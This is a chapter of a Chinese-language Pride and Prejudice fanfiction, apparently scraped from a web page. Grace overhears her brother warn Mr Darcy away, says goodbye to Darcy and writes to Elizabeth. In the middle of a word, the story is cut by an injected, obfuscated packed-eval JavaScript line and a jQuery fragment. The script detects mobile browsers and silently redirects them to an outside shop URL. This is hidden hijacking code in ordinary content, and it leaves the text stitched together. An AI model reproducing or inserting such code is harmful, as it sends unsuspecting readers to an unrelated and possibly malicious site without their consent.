格蕾丝再度睁开眼睛，发现日影已经越过了窗台，投射到房间中央。她对时间的流逝竟毫无察觉。
她原本以为会有严苛的女仆在清晨准时拉开窗帘，将她从睡梦中强行唤醒。然而并没有，格伦莫尔庄园似乎给予了她近乎放纵的自由。
格蕾丝拥着被子坐起身，大脑经历了一阵短暂的混沌后，昨夜的种种画面渐渐回笼：马尔科姆在舞池中那充满引导性的舞步；那一声震惊的“菲欧娜”；以及……在寂静的后花园里，和达西先生共舞的场景。
一想到达西先生，她立刻起身，披上一件晨衣，简单地挽了一下长发便走出了卧室。
她路过隔壁的书房，一阵低沉的交谈声漏了出来。
格蕾丝本无意探听他人的隐私，但她辨识出达西先生的声音，硬生生地停在了原地。她屏住呼吸，悄无声息地靠近。
书房厚重的大门留出一道细窄的缝隙，里面的空气中弥漫着充满硝烟的张力。
“达西先生，我想，彭伯利庄园作为德比郡首屈一指的大产业，必然有许多繁杂的事务急需您这位主人亲自回去定夺。如果您有需要，我随时可以吩咐人在都柏林港为您安排一艘最宽敞、最舒适的客船，确保您安全地返回英格兰。”
“感谢您的好意，凯利先生。彭伯利在管家的打理下，一切都有条不紊地进行着，并不急需我立刻赶回。况且，我此番来到爱尔兰，除了护送令妹安全返乡之外，确实还有一些私人的事务需要在此地洽谈。”
马尔科姆轻笑一声，不紧不慢地开口：“是吗？那真是一件令人意外的事。既然护送菲欧娜的义务已经圆满完成，不知达西先生在爱尔兰是否已经找到了合适的住处？毕竟格伦莫尔庄园虽然宽敞，但总归是我们凯利家族的私地。您作为一位莅临的显贵，在这里屈尊，只怕会怠慢了您。”
“这一点您大可放心，我已经委托人在附近的租下了一处宅邸。待到一切收拾妥当，我便会搬离格伦莫尔，不再过多叨扰。”
达西先生马上要搬走了？格蕾丝当然知道他不可能永远住在格伦莫尔，只是当这个消息真的从他口中说出时，她的心中瞬间升起难以言喻的失落感。
交锋并未就此停止。
“达西先生，有些话或许说透了对大家都好。您是英格兰赫赫有名的名门望族，彭伯利的主人；而我们凯利家族，在这片威克洛郡的土地上，也算是有头有脸的家族。但我们之间，无论是门第、根基，还是未来的道路，都有着云泥之别。”
马尔科姆沉默了片刻，语气中多了点警告的意味：“我非常感激您对菲欧娜的照顾。然而，作为她的长兄，我奉劝您，早些放弃那些不切实际的念头。”
“凯利先生，我向来敬重您的坦诚。但我也必须说明，我菲茨威廉·达西行事从不依赖虚无缥缈的承诺，也从不畏惧任何险阻。我所珍视的人或事物，无论身在哪里，于我而言都毫无分别。我始终坚持我的本心。对于认定的事情，我不会做出任何退让。”
书房被死寂的静包裹得密不透风。
格蕾丝不敢再听下去。她蹑手蹑脚地退回了自己的房间，后背紧紧贴在冰凉的房门上。
马尔科姆和达西先生之间这种剑拔弩张的气氛，是她最不愿看到的。
哥哥的敌意来得莫名其妙又咄咄逼人，这让她不禁回想起在彭伯利庄园的书房里曾瞥见的文书。
那时，达西先生正在为她调查身世。在那些错综复杂的账目和信件中，她清楚地看见，是达西先生通过他的伦敦律师，以匿名的身份替当时的凯利家族偿还了一大笔到期的债务，甚至悄悄赎回了被抵押出去的马场地契。
马尔科姆对此全然不知吗？这很有可能。达西先生行事向来低调，他做这些事情，从未想过要以此来邀功。可越是这样，她就越不希望两个人之间生出如此深的嫌隙。
在梅芙的服侍下，格蕾丝换上了一件款式简单的烟灰色日间裙，来到一楼的餐厅。
马尔科姆坐在长餐桌的主位上，神色如常，仿佛早晨书房里的那场争论从未发生过。而达西先生坐在客位上，举止依旧无可挑剔。
达西先生隔着餐桌平静地注视着格蕾丝：“凯利小姐，我正准备向你辞行。我已经在附近租下了一处宅院，仆人们下午就会把我的行李搬过去。这段时间在格伦莫尔的叨扰，实在是不胜感激。”
尽管早有心理准备，但格蕾丝眼底还是闪过慌乱与不舍。她只是一个刚刚归家不久，连自己的过去都一无所知的人，并没有权利做主挽留一位明显不受主人欢迎的客人。
“这实在是太仓促了，达西先生。可既然您去意已决，我只能祝您一切顺利。您对我这一路上的照拂，我铭记于心。”
马尔科姆适时回应：“阿什伍德是个好地方，风景秀丽。达西先生，祝您在那里度过一段宁静的时光。”
初秋的阳光洒在庄园前的碎石车道上。达西先生的马车已经停靠在门廊外，车夫正在往车厢上搬运最后几件行李。
“格蕾丝，”达西倾身，用只有他们两人能听见的声音说道，“阿什伍德离这里并不远。只要你愿意，你随时可以前往那里。”
格蕾丝看着他，鼻尖微酸，轻轻地点了点头。
他抬起手，似乎想要触碰她的脸颊，但最终，他的手还是克制地落在了她身侧的空气中。
“不管你在这座庄园里遇到了什么困扰，只要一封信，甚至是一句话，无论我在哪里，都会立刻赶到你的身边。”达西向她行了一个标准的鞠躬礼。
“我明白了。请保重，达西先生。”
送走达西后，巨大的空虚感瞬间席卷了格蕾丝。她百无聊赖地在走廊里踱步，最终决定去起居室里，给远在英格兰的伊丽莎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604604|203965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
白写一封信。
“梅芙，如果我写一封信寄往英格兰的赫特福德郡，大概需要多久才能送到？”
梅芙停下手中的活计，恭敬地回答道：“小姐，这取决于海上的天气。我们的信件通常会先送到都柏林的邮局，然后搭乘邮政班船横渡爱尔兰海，抵达威尔士的霍利黑德港。之后再由那里的皇家邮政马车日夜兼程地送往伦敦和各地。如果顺风顺水，大约需要五到七天的时间。您要是有需要寄出的信件，请随时吩咐我，我会让庄园的信使尽快将信件送往都柏林。”
“好的，谢谢你，梅芙。你先下去吧，我想一个人待会儿。”
格蕾丝走到靠窗的书桌前坐下。她削尖羽毛笔，蘸了蘸墨水，将连日来的种种遭遇、与亲人重逢的满心欢喜，以及面对全然陌生过往的茫然无措，尽数倾吐于信纸之上。她细细写下昨夜那场盛大喧闹的舞会，也写下了达西先生。
【亲爱的伊丽莎白：
当你收到这封信时，我已经安全抵达了威克洛郡的格伦莫尔庄园。可当我走进这里，萦绕在我心头的并非游子归乡的狂喜，而是一种深切的疏离感。丽兹，这里的人们都唤我“菲欧娜”。我的兄长马尔科姆先生，对我展现出了近乎溺爱的宽容。格伦莫尔庄园的每一个角落都彰显着古老家族的荣光，而我却像是一个误入他人梦境的看客。
昨夜，哥哥为我举办了一场盛大的洗尘舞会。衣香鬓影，乐声悠扬，只是我不免感到疲于应对。直到达西先生在后花园的夜色中走向我，那一刻，我才终于找回了些许属于“格蕾丝”的呼吸。
他今天搬去了阿什伍德。当他的马车驶离庄园时，我感到了前所未有的孤立无援。丽兹，我的哥哥其实对我很好，几乎是有求必应。但我总觉得他与达西先生之间弥漫着某种微妙的敌意，让我终日惴惴不安。
我真希望你能在这里。你总是拥有一双能够看破一切虚妄的慧眼，若是你在，必定能帮我看清这重重迷雾背后的真相……请告诉我，我该如何在一具名为“菲欧娜”的躯壳里，安放格蕾丝的灵魂？
期盼你的回音，愿你在朗博恩一切安好。代我向简问好。
你最忠诚的朋友，
格蕾丝】
写完最后一笔，她长长地舒了一口气，终于感觉压在胸口的郁结稍微消散了一些。她站起身，目光落在了起居室角落里的那架崭新的钢琴上。
她坐上琴凳，弹奏起《悲怆奏鸣曲》第二乐章。①
格蕾丝闭上眼睛，任由自己陷入音乐营造的惆怅与感伤的世界里，仿佛将所有的迷茫都倾注在了琴键之间。
就在她完全沉浸在音符中时，起居室的门突然被人推开了。
“菲欧娜！”
格蕾丝的手指在琴键上猛地一顿，发出一声刺耳的错音。她惊讶地回过头，只见一个高挑的身影大步流星地走了进来。